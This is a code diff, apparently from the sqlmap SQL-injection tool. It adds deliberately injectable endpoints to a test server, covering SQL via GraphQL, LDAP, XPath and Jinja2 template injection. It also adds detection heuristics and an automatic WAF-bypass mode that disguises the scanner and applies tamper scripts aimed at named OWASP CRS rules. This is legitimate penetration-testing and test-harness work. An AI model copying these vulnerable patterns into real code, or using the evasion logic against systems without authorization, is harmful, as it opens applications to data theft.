+                data[key] = _resolver_login(args.get("username"), args.get("password"))
+            elif field == "updateUser":
+                data[key] = _resolver_updateUser(args.get("id"), args.get("email"))
+            else:
+                errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()),
+                               "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}})
+        except Exception as ex:
+            # Leak the backend error through the GraphQL error envelope (as many real servers do
+            # in development mode) -- this drives error-based detection
+            errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex),
+                           "path": [key], "extensions": {"exception": str(ex)}})
+
+    if not data and not errors:
+        return None, errors
+    return data, errors
+
+
+# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------
+
+def _resolver_user(username):
+    if not username:
+        return None
+    with _lock:
+        _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username)
+        row = _cursor.fetchone()
+    return {"id": row[0], "name": row[1], "surname": row[2]} if row else None
+
+
+def _resolver_search(term):
+    with _lock:
+        _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or ""))
+        rows = _cursor.fetchall()
+    return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])]
+
+
+def _resolver_login(username, password):
+    if not username or not password:
+        return None
+    with _lock:
+        _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password))
+        row = _cursor.fetchone()
+    if row:
+        return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}}
+    return None  # returns null in data (boolean oracle: true=object, false=null)
+
+
+def _resolver_updateUser(id_, email):
+    with _lock:
+        _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_))
+        _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_)
+        row = _cursor.fetchone()
+    return {"id": row[0], "name": row[1], "surname": row[2]} if row else None
+
+
 class ReqHandler(BaseHTTPRequestHandler):
     def do_REQUEST(self):
         path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
@@ -198,6 +841,22 @@ class ReqHandler(BaseHTTPRequestHandler):
 
         self.url, self.params = path, params
 
+        # primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off)
+        try:
+            level = int(self.params.get("security_level", 0) or 0)
+        except (TypeError, ValueError):
+            level = 0
+
+        if level > 0:
+            surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "")
+            if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2):
+                self.send_response(FORBIDDEN)
+                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+                self.send_header("Connection", "close")
+                self.end_headers()
+                self.wfile.write(b"<html><body>Request blocked: security policy violation (WAF)</body></html>")
+                return
+
         if self.url == "/csrf":
             if self.params.get("csrf_token") == _csrf_token:
                 self.url = "/"
@@ -220,6 +879,171 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.wfile.write(form.encode(UNICODE_ENCODING))
                 return
 
+        if self.url == "/nosql":
+            self.send_response(OK)
+            self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            try:
+                output = "<html><body><b>Welcome %s</b></body></html>" % self.params.get("name") if nosql_match(self.params) else "<html><body><b>Invalid credentials</b></body></html>"
+            except re.error:       # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting)
+                output = "<html><body>MongoServerError: Regular expression is invalid: missing terminating ] for character class</body></html>"
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/graphql":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            query = self.params.get("query", "")
+            variables = self.params.get("variables") or {}
+
+            if not isinstance(variables, dict):
+                try:
+                    variables = json.loads(str(variables))
+                except Exception:
+                    variables = {}
+
+            if "__schema" in query:
+                output = json.dumps(_graphql_introspection())
+            else:
+                data, errors = _graphql_resolve(query, variables)
+                resp = {}
+                if errors:
+                    resp["errors"] = errors
+                if data:
+                    resp["data"] = data
+                output = json.dumps(resp, default=str)
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url in ("/ldap", "/ldap/search"):
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            q = self.params.get("q", "")
+            if q:
+                filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q)
+                rows, error = _ldap_execute(filter_str)
+                if error:
+                    output = json.dumps({"resultCode": 1, "errorMessage": error})
+                else:
+                    entries = [_ldap_row_to_obj(r) for r in (rows or [])]
+                    output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str)
+            else:
+                output = json.dumps({"resultCode": 0, "entries": [], "count": 0})
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/ldap/login":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            user = self.params.get("user", "")
+            password = self.params.get("pass", "")
+            if user and password:
+                filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password)
+                rows, error = _ldap_execute(filter_str)
+                if error:
+                    output = json.dumps({"resultCode": 49, "errorMessage": error})
+                elif rows:
+                    entry = _ldap_row_to_obj(rows[0])
+                    output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str)
+                else:
+                    output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"})
+            else:
+                output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"})
+
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/xpath/search":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            q = self.params.get("q", "")
+            entries = []
+            error = None
+
+            if q:
+                try:
+                    from lxml import etree
+                    root = etree.fromstring(XPATH_XML.encode("utf-8"))
+                    # VULNERABLE: unsanitized user input directly interpolated into XPath
+                    xpath_expr = "/directory/department/user[contains(username,'%s') or contains(realname,'%s')]" % (q, q)
+                    elements = root.xpath(xpath_expr)
+                    entries = [_xpath_element_to_dict(el) for el in elements]
+                except Exception as ex:
+                    error = "%s: %s" % (type(ex).__name__, str(ex))
+
+            output = json.dumps({"entries": entries, "count": len(entries), "error": error}, default=str)
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/xpath/login":
+            self.send_response(OK)
+            self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            username = self.params.get("username", "")
+            password = self.params.get("password", "")
+            error = None
+            authenticated = False
+
+            if username and password:
+                try:
+                    from lxml import etree
+                    root = etree.fromstring(XPATH_XML.encode("utf-8"))
+                    # VULNERABLE: unsanitized interpolation into XPath login expression
+                    xpath_expr = "/directory/department/user[username='%s' and password='%s']" % (username, password)
+                    results = root.xpath(xpath_expr)
+                    if results:
+                        authenticated = True
+                except Exception as ex:
+                    error = "%s: %s" % (type(ex).__name__, str(ex))
+
+            output = json.dumps({"authenticated": authenticated, "error": error}, default=str)
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
+        if self.url == "/ssti/search":
+            self.send_response(OK)
+            self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+            self.send_header("Connection", "close")
+            self.end_headers()
+
+            q = self.params.get("q", "")
+            output = "<html><body>"
+
+            if q:
+                try:
+                    from jinja2 import Template
+                    # VULNERABLE: unsanitized user input passed to Jinja2 template engine
+                    template = Template("Hello " + q)
+                    output += template.render()
+                except Exception as ex:
+                    # Leak template engine error for error-based detection
+                    output += "<b>%s: %s</b>" % (type(ex).__name__, str(ex))
+            else:
+                output += "Hello"
+
+            output += "</body></html>"
+            self.wfile.write(output.encode(UNICODE_ENCODING))
+            return
+
         if self.url == '/':
             if not any(_ in self.params for _ in ("id", "query")):
                 self.send_response(OK)
@@ -229,6 +1053,7 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
             else:
                 code, output = OK, "<body><html>"
+                contentType = "text/html"
 
                 try:
                     if self.params.get("echo", ""):
@@ -247,38 +1072,48 @@ class ReqHandler(BaseHTTPRequestHandler):
                                 _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output += "<b>SQL results:</b><br>\n"
-
-                    if self.params.get("code", ""):
-                        if not results:
+                    if self.params.get("json", ""):
+                        # JSON response mode: serialize the SAME query results as application/json
+                        # (exercises the structure-aware comparison oracle end to end). HTML branches
+                        # below are untouched, so existing tests are unaffected.
+                        if self.params.get("code", "") and not results:
                             code = INTERNAL_SERVER_ERROR
+                        else:
+                            contentType = "application/json"
+                            output = json.dumps({"results": [list(row) for row in results], "count": len(results)})
                     else:
-                        if results:
-                            output += "<table border=\"1\">\n"
+                        output += "<b>SQL results:</b><br>\n"
 
-                            for row in results:
-                                output += "<tr>"
-                                for value in row:
-                                    output += "<td>%s</td>" % value
-                                output += "</tr>\n"
-
-                            output += "</table>\n"
+                        if self.params.get("code", ""):
+                            if not results:
+                                code = INTERNAL_SERVER_ERROR
                         else:
-                            output += "no results found"
+                            if results:
+                                output += "<table border=\"1\">\n"
 
-                        if not results:
-                            output = "<title>No results</title>" + output
-                        else:
-                            output = "<title>Results</title>" + output
+                                for row in results:
+                                    output += "<tr>"
+                                    for value in row:
+                                        output += "<td>%s</td>" % value
+                                    output += "</tr>\n"
 
-                    output += "</body></html>"
+                                output += "</table>\n"
+                            else:
+                                output += "no results found"
+
+                            if not results:
+                                output = "<title>No results</title>" + output
+                            else:
+                                output = "<title>Results</title>" + output
+
+                        output += "</body></html>"
                 except Exception as ex:
                     code = INTERNAL_SERVER_ERROR
                     output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
 
                 self.send_response(code)
 
-                self.send_header("Content-type", "text/html")
+                self.send_header("Content-type", contentType)
                 self.send_header("Connection", "close")
 
                 if self.raw_requestline.startswith(b"HEAD"):

lib/controller/action.py

@@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
 from lib.controller.handler import setHandler
 from lib.core.common import Backend
 from lib.core.common import Format
+from lib.core.common import hashDBWrite
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.enums import CONTENT_TYPE
+from lib.core.enums import DBMS
+from lib.core.enums import HASHDB_KEYS
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
@@ -30,8 +33,41 @@ def action():
 
     # First of all we have to identify the back-end database management
     # system to be able to go ahead with the injection
+    # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
+    # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
+    # and flood the run with 403s) and assume that DBMS, so the user gets a usable result
+    if kb.wafBypass and not conf.forceDbms:
+        fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
+        fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
+        if fallback:
+            logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
+            conf.forceDbms = fallback
+
     setHandler()
 
+    if kb.wafBypass and Backend.getDbms():      # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
+        hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
+
+    # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
+    # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
+    #   * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
+    #     otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
+    #   * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
+    #     ORD/MID function names scored by 942151/942190);
+    #   * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
+    #     'mysql.innodb_table_stats', which is not on those blocklists.
+    # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
+    #  open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
+    if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
+        kb.data.has_information_schema = True
+        if not conf.tamper:
+            from lib.utils.wafbypass import loadTamper
+            for _name in ("blindbinary", "infoschema2innodb"):
+                function = loadTamper(_name)
+                if function is not None and function not in (kb.tamperFunctions or []):
+                    kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
+            logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
+
     if not Backend.getDbms() or not conf.dbmsHandler:
         htmlParsed = Format.getErrorParsedDBMSes()
 
@@ -78,6 +114,9 @@ def action():
     if conf.getStatements:
         conf.dumper.statements(conf.dbmsHandler.getStatements())
 
+    if conf.getProcs:
+        conf.dumper.procedures(conf.dbmsHandler.getProcedures())
+
     if conf.getPasswordHashes:
         try:
             conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)

lib/controller/checks.py

@@ -16,6 +16,7 @@ from extra.beep.beep import beep
 from lib.core.agent import agent
 from lib.core.common import Backend
 from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
 from lib.core.common import extractTextTagContent
 from lib.core.common import filterNone
 from lib.core.common import findDynamicContent
@@ -79,14 +80,22 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
+from lib.core.settings import GRAPHQL_ERROR_REGEX
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import LDAP_ERROR_REGEX
+from lib.core.settings import SSTI_ERROR_REGEX
+from lib.core.settings import XPATH_ERROR_REGEX
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IPS_WAF_CHECK_RATIO
 from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_STABILITY_DELAY
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import NOSQL_ERROR_REGEX
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH
+from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW
+from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
@@ -94,12 +103,14 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
+from lib.core.settings import WAF_BLOCK_HTTP_CODES
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
+from lib.utils.dialect import dialectCheckDbms
 from lib.techniques.union.test import unionTest
 from lib.techniques.union.use import configUnion
 from thirdparty import six
@@ -149,6 +160,13 @@ def checkSqlInjection(place, parameter, value):
                     if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                         kb.heuristicDbms = heuristicCheckDbms(injection)
 
+                    # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
+                    # and is skipped when the WAF/IPS is dropping requests; the operator-dialect
+                    # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
+                    # that case (or when it was inconclusive), using the now-calibrated boolean oracle
+                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
+                        kb.heuristicDbms = dialectCheckDbms(injection)
+
                 # If the DBMS has already been fingerprinted (via DBMS-specific
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
@@ -580,6 +598,18 @@ def checkSqlInjection(place, parameter, value):
                                                     break
 
                             if injectable:
+                                # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that
+                                # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403)
+                                # while the FALSE condition passes (2xx) is the WAF answering, not the database.
+                                # A real boolean injection's TRUE condition reproduces the normal page, so this
+                                # status-code asymmetry is the classic false positive - refuse it here.
+                                if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
+                                    warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
+                                    warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
+                                    logger.warning(warnMsg)
+                                    injectable = False
+                                    continue
+
                                 if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
                                     if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
                                         suggestion = conf.code = trueCode
@@ -1088,7 +1118,7 @@ def heuristicCheckSqlInjection(place, parameter):
     if casting:
         errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
 
-        platform = conf.url.split('.')[-1].lower()
+        platform = (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower()
         if platform == WEB_PLATFORM.ASP:
             errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
         elif platform == WEB_PLATFORM.ASPX:
@@ -1149,6 +1179,41 @@ def heuristicCheckSqlInjection(place, parameter):
     except (SystemError, RuntimeError) as ex:
         logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
 
+    if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
+    if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
+        infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
+        logger.info(infoMsg)
+
+        if conf.beep:
+            beep()
+
     kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
@@ -1238,7 +1303,7 @@ def checkDynamicContent(firstPage, secondPage):
             kb.heavilyDynamic = True
 
             secondPage, _, _ = Request.queryPage(content=True)
-            findDynamicContent(firstPage, secondPage)
+            findDynamicContent(firstPage, secondPage, merge=True)
 
 def checkStability():
     """
@@ -1329,7 +1394,26 @@ def checkStability():
                 raise SqlmapNoneDataException(errMsg)
 
         else:
-            checkDynamicContent(firstPage, secondPage)
+            # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
+            # whether the page is structurally stable (identical tag/class/id skeleton across the two
+            # requests) despite differing text. If so, base the comparison on that value-free structure
+            # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
+            # the HTML counterpart of the structure-aware JSON comparison
+            if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
+                kb.pageStructurallyStable = True
+
+                if kb.nullConnection:
+                    debugMsg = "turning off NULL connection "
+                    debugMsg += "support because of structural page comparison"
+                    logger.debug(debugMsg)
+
+                    kb.nullConnection = None
+
+                infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
+                infoMsg += "will base the page comparison on the page structure"
+                logger.info(infoMsg)
+            else:
+                checkDynamicContent(firstPage, secondPage)
 
     return kb.pageStable
 
@@ -1351,6 +1435,10 @@ def checkWaf():
             warnMsg = "previous heuristics detected that the target "
             warnMsg += "is protected by some kind of WAF/IPS"
             logger.critical(warnMsg)
+            if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True):    # re-apply a previously accepted automatic bypass
+                from lib.utils.wafbypass import neutralizeFingerprint
+                kb.wafBypass = True
+                neutralizeFingerprint()
         return _
 
     if not kb.originalPage:
@@ -1393,6 +1481,7 @@ def checkWaf():
 
     hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
 
+
     if retVal:
         if not kb.identifiedWafs:
             warnMsg = "heuristics detected that the target "
@@ -1406,9 +1495,19 @@ def checkWaf():
         if not choice:
             raise SqlmapUserQuitException
         else:
-            if not conf.tamper:
-                warnMsg = "please consider usage of tamper scripts (option '--tamper')"
-                singleTimeWarnMessage(warnMsg)
+            if not conf.tamper and not kb.tamperFunctions:
+                message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
+                message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
+                kb.wafBypass = readInput(message, default='Y', boolean=True)
+                hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
+                if kb.wafBypass:
+                    # apply it up-front so the whole run (detection included) avoids the scanner
+                    # fingerprint, instead of getting blocked first and only then retrying
+                    from lib.utils.wafbypass import neutralizeFingerprint
+                    neutralizeFingerprint()
+                    logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
+                else:
+                    singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
 
     return retVal
 
@@ -1436,30 +1535,79 @@ def checkNullConnection():
         pushValue(kb.pageCompress)
         kb.pageCompress = False
 
+        # A method is accepted only if the length it reports tracks the real GET response. The
+        # original page length (len(kb.originalPage)) is the reference; a method whose length is
+        # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code
+        # path, or sneaked-in compression) would otherwise make every page look identical and
+        # silently break detection. The band is coarse on purpose (byte-vs-character size and
+        # moderate page dynamism are expected); a false reject just forgoes the optimization
+        def _plausibleLength(length):
+            reference = len(kb.originalPage or "")
+            if not reference:
+                return True
+            return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference
+
         try:
             page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
 
             if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
-                kb.nullConnection = NULLCONNECTION.HEAD
+                try:
+                    length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                except ValueError:
+                    length = None
 
-                infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
-                logger.info(infoMsg)
-            else:
+                if length is not None and _plausibleLength(length):
+                    kb.nullConnection = NULLCONNECTION.HEAD
+
+                    infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
+                    logger.info(infoMsg)
+                elif length is not None:
+                    debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                    logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
                 page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
 
                 if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
-                    kb.nullConnection = NULLCONNECTION.RANGE
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
+                    except ValueError:
+                        length = None
 
-                    infoMsg = "NULL connection is supported with GET method ('Range')"
-                    logger.info(infoMsg)
-                else:
-                    _, headers, _ = Request.getPage(skipRead=True)
+                    if length is not None and _plausibleLength(length):
+                        kb.nullConnection = NULLCONNECTION.RANGE
 
-                    if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                        infoMsg = "NULL connection is supported with GET method ('Range')"
+                        logger.info(infoMsg)
+                    elif length is not None:
+                        debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+
+            if kb.nullConnection is None:
+                _, headers, _ = Request.getPage(skipRead=True)
+
+                if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
+                    try:
+                        length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
+                    except ValueError:
+                        length = len(kb.originalPage or "")
+
+                    if not _plausibleLength(length):
+                        debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
+                        logger.debug(debugMsg)
+                    # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the
+                    # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake
+                    # per request. That only outweighs the avoided body transfer for large responses;
+                    # for small ones it is a net slowdown, so it is gated by the response size here
+                    elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH:
                         kb.nullConnection = NULLCONNECTION.SKIP_READ
 
                         infoMsg = "NULL connection is supported with 'skip-read' method"
                         logger.info(infoMsg)
+                    else:
+                        debugMsg = "'skip-read' NULL connection method is available but skipped because the "
+                        debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length
+                        logger.debug(debugMsg)
 
         except SqlmapConnectionException:
             pass

lib/controller/controller.py

@@ -41,6 +41,7 @@ from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
 from lib.core.common import safeCSValue
 from lib.core.common import showHttpErrorCodes
+from lib.core.common import singleTimeWarnMessage
 from lib.core.common import urldecode
 from lib.core.common import urlencode
 from lib.core.compat import xrange
@@ -70,11 +71,13 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
+from lib.core.settings import HASHDB_STALE_DAYS
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import WAF_BYPASS_MAX_TRIALS
 from lib.core.target import initTargetEnv
 from lib.core.target import setupTargetEnv
 from lib.utils.hash import crackHashFile
@@ -167,6 +170,57 @@ def _formatInjection(inj):
 
     return data
 
+def _autoWafBypass(place, parameter, value):
+    """
+    Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
+    kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
+    User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
+    and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
+    through a candidate is itself the validation - it succeeds only if the resulting payload both
+    passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
+    """
+
+    from lib.utils.wafbypass import candidateTampers, loadTamper
+
+    retVal = None
+
+    savedTamper = kb.tamperFunctions
+    savedTechnique = conf.technique
+    conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN]    # bound each trial to a quick boolean re-check
+
+    candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
+
+    try:
+        for count, name in enumerate(candidates):
+            if count >= WAF_BYPASS_MAX_TRIALS:
+                break
+
+            function = loadTamper(name)
+            if function is None:
+                continue
+
+            kb.tamperFunctions = [function]
+            logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
+
+            injection = checkSqlInjection(place, parameter, value)
+            if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
